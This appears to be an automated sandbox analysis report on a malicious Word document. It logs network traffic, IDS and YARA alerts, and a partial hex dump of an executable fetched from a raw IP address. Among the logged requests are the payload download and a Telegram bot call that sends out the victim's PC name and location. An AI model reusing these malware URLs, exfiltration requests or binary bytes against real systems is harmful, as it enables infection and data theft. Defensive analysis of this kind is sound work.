Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49164

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 87.120.84.38:80 -> 192.168.2.22:49164
Source: Network traffic Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 87.120.84.38:80 -> 192.168.2.22:49164
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
Yara detected Generic Downloader
Source: Yara match File source: 7.2.cdlpohalgate39567.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, type: UNPACKEDPE
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.26.2Date: Wed, 30 Oct 2024 07:32:00 GMTContent-Type: application/x-msdos-programContent-Length: 787456Connection: keep-aliveLast-Modified: Tue, 29 Oct 2024 06:13:05 GMTETag: "c0400-625977a7fa7d4"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 58 f4 f3 fa 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 fa 0b 00 00 08 00 00 00 00 00 00 c2 19 0c 00 00 20 00 00 00 20 0c 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 0c 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6e 19 0c 00 4f 00 00 00 00 20 0c 00 a4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0c 00 0c 00 00 00 98 f6 0b 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c8 f9 0b 00 00 20 00 00 00 fa 0b 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 a4 05 00 00 00 20 0c 00 00 06 00 00 00 fc 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 0c 00 00 02 00 00 00 02 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a2 19 0c 00 00 00 00 00 48 00 00 00 02 00 05 00 b0 75 00 00 90 69 00 00 03 00 00 00 5e 00 00 06 40 df 00 00 58 17 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 02 00 1d 00 00 00 00 00 00 00 02 28 1d 00 00 0a 00 00 00 02 28 06 00 00 06 7d 01 00 00 04 00 de 05 26 00 00 de 00 2a 00 00 00 01 10 00 00 00 00 08 00 0f 17 00 05 12 00 00 01 13 30 01 00 0c 00 00 00 01 00 00 11 00 02 7b 01 00 00 04 0a 2b 00 06 2a 1b 30 02 00 25 00 00 00 02 00 00 11 00 00 02 7b 01 00 00 04 03 6f 1e 00 00 0a 28 07 00 00 06 0a de 0d 26 00 72 01 00 00 70 73 1f 00 00 0a 7a 06 2a 00 00 00 01 10 00 00 00 00 01 00 15 16 00 0d 12 00 00 01 1b 30 02 00 29 00 00 00 03 00 00 11 00 00 03 04 28 09 00 00 06 0a 06 2c 0d 00 02 28 06 00 00 06 7d 01 00 00 04 00 02 7b 01 00 00 04 0b de 04 26 00 fe 1a 07 2a 00 00 00 01 10 00 00 00 00 01 00 22 23 00 04 12 00 00 01 1b 30 03 00 45 00 00 00 03 00 00 11 00 00 02 7b 01 00 00 04 05 03 6f 20 00 00 0a 00 05 04 02 7b 01 00 00 04 28 08 00 00 06 0a 06 2c 15 00 02 28 06 00 00 06 7d 01 00 00 04 02 7b 01 00 00 04 0b de 0d 02 7b 01 00 00 04 0b de 04 26 00 fe 1a 07 2a 00 00 00 01 10 00 00 00 00 01 00 3e
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:610930%0D%0ADate%20and%20Time:%2010/30/2024%20/%208:13:13%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20610930%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: SHARCOM-ASBG SHARCOM-ASBG
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1
May check the online IP address of the machine
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe DNS query: name: reallyfreegeoip.org
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49170 -> 132.226.8.169:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49168 -> 132.226.247.73:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49172 -> 158.101.44.242:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49165 -> 132.226.8.169:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49179 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49167 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49175 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49173 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49181 -> 188.114.97.3:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /txt/pgTQ4mfZBbJhpdd.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 87.120.84.38Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49166 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{8FEE9B89-F0FF-409D-80D0-E8095DD9B851}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:610930%0D%0ADate%20and%20Time:%2010/30/2024%20/%208:13:13%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20610930%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
